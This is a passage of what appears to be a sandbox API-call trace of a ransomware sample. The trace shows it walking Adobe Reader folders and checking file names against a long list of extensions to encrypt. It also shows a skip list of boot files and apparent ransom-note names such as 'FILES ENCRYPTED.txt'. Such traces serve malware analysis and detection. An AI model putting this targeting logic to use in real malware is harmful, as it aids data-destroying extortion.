	[0173.874] lstrlenW (lpString=".aspx") returned 5
	[0173.874] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.874] lstrlenW (lpString=".asr") returned 4
	[0173.874] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".asx") returned 4
	[0173.874] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".avi") returned 4
	[0173.874] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".avs") returned 4
	[0173.875] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".backup") returned 7
	[0173.875] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.875] lstrlenW (lpString=".bak") returned 4
	[0173.875] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".bay") returned 4
	[0173.875] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".bd") returned 3
	[0173.875] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.875] lstrlenW (lpString=".bin") returned 4
	[0173.875] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".bmp") returned 4
	[0173.875] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".bz2") returned 4
	[0173.875] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".c") returned 2
	[0173.875] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.875] lstrlenW (lpString=".cdr") returned 4
	[0173.875] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".cer") returned 4
	[0173.875] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".cf") returned 3
	[0173.875] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.875] lstrlenW (lpString=".cfc") returned 4
	[0173.875] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".cfm") returned 4
	[0173.875] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".cfml") returned 5
	[0173.875] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.875] lstrlenW (lpString=".cfu") returned 4
	[0173.875] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.875] lstrlenW (lpString=".chm") returned 4
	[0173.876] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.876] lstrlenW (lpString=".cin") returned 4
	[0173.876] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.876] lstrlenW (lpString=".class") returned 6
	[0173.876] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.876] lstrlenW (lpString=".clx") returned 4
	[0173.876] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.876] lstrlenW (lpString=".config") returned 7
	[0173.876] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.931] lstrlenW (lpString=".cpp") returned 4
	[0173.932] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".cr2") returned 4
	[0173.932] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".crt") returned 4
	[0173.932] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".crw") returned 4
	[0173.932] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".cs") returned 3
	[0173.932] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.932] lstrlenW (lpString=".css") returned 4
	[0173.932] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".csv") returned 4
	[0173.932] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".cub") returned 4
	[0173.932] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".dae") returned 4
	[0173.932] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".dat") returned 4
	[0173.932] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".db") returned 3
	[0173.932] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.932] lstrlenW (lpString=".dbf") returned 4
	[0173.932] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".dbx") returned 4
	[0173.932] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".dc3") returned 4
	[0173.932] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.932] lstrlenW (lpString=".dcm") returned 4
	[0173.932] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".dcr") returned 4
	[0173.933] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".der") returned 4
	[0173.933] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".dib") returned 4
	[0173.933] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".dic") returned 4
	[0173.933] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".dif") returned 4
	[0173.933] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".divx") returned 5
	[0173.933] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.933] lstrlenW (lpString=".djvu") returned 5
	[0173.933] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.933] lstrlenW (lpString=".dng") returned 4
	[0173.933] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".doc") returned 4
	[0173.933] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".docm") returned 5
	[0173.933] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.933] lstrlenW (lpString=".docx") returned 5
	[0173.933] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.933] lstrlenW (lpString=".dot") returned 4
	[0173.933] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.933] lstrlenW (lpString=".dotm") returned 5
	[0173.933] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.933] lstrlenW (lpString=".dotx") returned 5
	[0173.933] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.934] lstrlenW (lpString=".dpx") returned 4
	[0173.934] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dqy") returned 4
	[0173.934] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dsn") returned 4
	[0173.934] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dt") returned 3
	[0173.934] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.934] lstrlenW (lpString=".dtd") returned 4
	[0173.934] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dwg") returned 4
	[0173.934] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dwt") returned 4
	[0173.934] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".dx") returned 3
	[0173.934] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.934] lstrlenW (lpString=".dxf") returned 4
	[0173.934] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".edml") returned 5
	[0173.934] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.934] lstrlenW (lpString=".efd") returned 4
	[0173.934] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".elf") returned 4
	[0173.934] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".emf") returned 4
	[0173.934] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.934] lstrlenW (lpString=".emz") returned 4
	[0173.935] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".epf") returned 4
	[0173.935] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".eps") returned 4
	[0173.935] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".epsf") returned 5
	[0173.935] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0173.935] lstrlenW (lpString=".epsp") returned 5
	[0173.935] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0173.935] lstrlenW (lpString=".erf") returned 4
	[0173.935] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".exr") returned 4
	[0173.935] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".f4v") returned 4
	[0173.935] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".fido") returned 5
	[0173.935] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0173.935] lstrlenW (lpString=".flm") returned 4
	[0173.935] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".flv") returned 4
	[0173.935] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".frm") returned 4
	[0173.935] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".fxg") returned 4
	[0173.935] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".geo") returned 4
	[0173.935] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".gif") returned 4
	[0173.935] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".grs") returned 4
	[0173.935] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0173.935] lstrlenW (lpString=".gz") returned 3
	[0173.935] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0173.936] lstrlenW (lpString=".h") returned 2
	[0173.936] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0173.936] lstrlenW (lpString=".hdr") returned 4
	[0173.936] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".hpp") returned 4
	[0173.936] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".hta") returned 4
	[0173.936] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".htc") returned 4
	[0173.936] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".htm") returned 4
	[0173.936] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".html") returned 5
	[0173.936] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0173.936] lstrlenW (lpString=".icb") returned 4
	[0173.936] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".ics") returned 4
	[0173.936] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".iff") returned 4
	[0173.936] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".inc") returned 4
	[0173.936] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".indd") returned 5
	[0173.936] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0173.936] lstrlenW (lpString=".ini") returned 4
	[0173.936] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".iqy") returned 4
	[0173.936] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".j2c") returned 4
	[0173.936] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0173.936] lstrlenW (lpString=".j2k") returned 4
	[0173.936] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".java") returned 5
	[0173.937] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0173.937] lstrlenW (lpString=".jp2") returned 4
	[0173.937] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".jpc") returned 4
	[0173.937] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".jpe") returned 4
	[0173.937] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".jpeg") returned 5
	[0173.937] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0173.937] lstrlenW (lpString=".jpf") returned 4
	[0173.937] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".jpg") returned 4
	[0173.937] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".jpx") returned 4
	[0173.937] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString=".js") returned 3
	[0173.937] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0173.937] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.937] lstrlenW (lpString=".GTF") returned 4
	[0173.937] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0173.937] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.937] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0173.937] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0173.937] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0173.938] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0173.938] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0173.938] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0173.938] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0173.938] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0173.938] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro\\ui-strings.js") returned 125
	[0173.938] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3eea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0173.938] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0173.938] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.938] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.938] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root") returned 110
	[0173.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root") returned 1
	[0173.938] lstrlenW (lpString="root") returned 4
	[0173.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1
	[0173.938] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0173.938] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root") returned 110
	[0173.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0173.939] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.939] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.939] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.939] lstrlenW (lpString=".1cd") returned 4
	[0173.939] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.939] lstrlenW (lpString=".3ds") returned 4
	[0173.939] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.939] lstrlenW (lpString=".3fr") returned 4
	[0173.939] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.939] lstrlenW (lpString=".3g2") returned 4
	[0173.939] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.939] lstrlenW (lpString=".3gp") returned 4
	[0173.939] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.939] lstrlenW (lpString=".7z") returned 3
	[0173.939] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.939] lstrlenW (lpString=".accda") returned 6
	[0173.939] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.939] lstrlenW (lpString=".accdb") returned 6
	[0173.939] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.939] lstrlenW (lpString=".accdc") returned 6
	[0173.939] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.939] lstrlenW (lpString=".accde") returned 6
	[0173.939] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.939] lstrlenW (lpString=".accdt") returned 6
	[0173.940] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.940] lstrlenW (lpString=".accdw") returned 6
	[0173.940] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.940] lstrlenW (lpString=".adb") returned 4
	[0173.940] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".adp") returned 4
	[0173.940] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai") returned 3
	[0173.940] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.940] lstrlenW (lpString=".ai3") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai4") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai5") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai6") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai7") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ai8") returned 4
	[0173.940] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".anim") returned 5
	[0173.940] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.940] lstrlenW (lpString=".arw") returned 4
	[0173.940] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".as") returned 3
	[0173.940] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.940] lstrlenW (lpString=".asa") returned 4
	[0173.940] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".asc") returned 4
	[0173.940] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.940] lstrlenW (lpString=".ascx") returned 5
	[0173.940] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.940] lstrlenW (lpString=".asm") returned 4
	[0173.941] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".asmx") returned 5
	[0173.941] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.941] lstrlenW (lpString=".asp") returned 4
	[0173.941] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".aspx") returned 5
	[0173.941] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.941] lstrlenW (lpString=".asr") returned 4
	[0173.941] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".asx") returned 4
	[0173.941] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".avi") returned 4
	[0173.941] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".avs") returned 4
	[0173.941] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".backup") returned 7
	[0173.941] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.941] lstrlenW (lpString=".bak") returned 4
	[0173.941] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".bay") returned 4
	[0173.941] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".bd") returned 3
	[0173.941] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.941] lstrlenW (lpString=".bin") returned 4
	[0173.941] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".bmp") returned 4
	[0173.941] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".bz2") returned 4
	[0173.941] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.941] lstrlenW (lpString=".c") returned 2
	[0173.941] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.941] lstrlenW (lpString=".cdr") returned 4
	[0173.942] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cer") returned 4
	[0173.942] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cf") returned 3
	[0173.942] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.942] lstrlenW (lpString=".cfc") returned 4
	[0173.942] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cfm") returned 4
	[0173.942] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cfml") returned 5
	[0173.942] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.942] lstrlenW (lpString=".cfu") returned 4
	[0173.942] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".chm") returned 4
	[0173.942] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cin") returned 4
	[0173.942] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".class") returned 6
	[0173.942] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.942] lstrlenW (lpString=".clx") returned 4
	[0173.942] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".config") returned 7
	[0173.942] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.942] lstrlenW (lpString=".cpp") returned 4
	[0173.942] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".cr2") returned 4
	[0173.942] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.942] lstrlenW (lpString=".crt") returned 4
	[0173.943] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".crw") returned 4
	[0173.943] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".cs") returned 3
	[0173.943] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.943] lstrlenW (lpString=".css") returned 4
	[0173.943] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".csv") returned 4
	[0173.943] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".cub") returned 4
	[0173.943] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dae") returned 4
	[0173.943] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dat") returned 4
	[0173.943] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".db") returned 3
	[0173.943] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.943] lstrlenW (lpString=".dbf") returned 4
	[0173.943] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dbx") returned 4
	[0173.943] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dc3") returned 4
	[0173.943] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dcm") returned 4
	[0173.943] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dcr") returned 4
	[0173.943] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".der") returned 4
	[0173.943] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.943] lstrlenW (lpString=".dib") returned 4
	[0173.943] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
